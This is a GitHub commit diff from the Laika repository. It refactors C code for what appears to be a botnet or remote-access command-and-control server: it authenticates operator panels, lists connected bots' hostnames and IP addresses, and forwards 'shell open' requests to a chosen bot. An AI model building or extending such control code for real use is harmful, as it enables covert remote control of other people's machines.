1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-29 09:30:11 +00:00

Major refactoring

lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough.
This commit is contained in:
2022-02-28 16:27:55 -06:00
parent c092d5a9a0
commit 8438378560
21 changed files with 424 additions and 251 deletions

View File

@@ -2,70 +2,82 @@
#include "cnc.h"
#include "cpanel.h"
inline void checkAuthenticated(struct sLaika_peer *peer) {
if (peer->type != PEER_PANEL)
LAIKA_ERROR("malicious peer!");
}
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_peer *panel = (struct sLaika_peer*)uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData;
/* make sure we're not sending cnc info lol, also don't send connection information about themselves */
if (&peer->sock != &cnc->sock && peer != panel) {
LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel);
laikaC_sendNewPeer(panel, peer);
/* make sure we're not sending connection information to themselves */
if (peer != authPeer) {
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
laikaC_sendNewPeer(authPeer, peer);
}
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&panel->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&panel->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&panel->sock, peer->type);
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_endOutPacket(panel);
laikaS_endOutPacket(authPeer);
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&panel->sock, peer->type);
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_endOutPacket(panel);
laikaS_endOutPacket(authPeer);
}
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
panel->type = laikaS_readByte(&panel->sock);
/* ============================================[[ Packet Handlers ]]============================================= */
switch (panel->type) {
case PEER_CNC:
case PEER_PANEL:
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
authPeer->type = laikaS_readByte(&authPeer->sock);
switch (authPeer->type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
LAIKA_ERROR("unauthorized panel!\n");
/* add to cnc's list of authenticated panels */
laikaC_addPanel(cnc, panel);
LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel);
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */
laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel);
/* notify other peers */
laikaC_onRmvPeer(cnc, panel);
laikaC_onAddPeer(cnc, panel);
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", panel->type);
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
}
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
/* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
aInfo->shellBot = peer;
/* forward the request to open a shell */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
}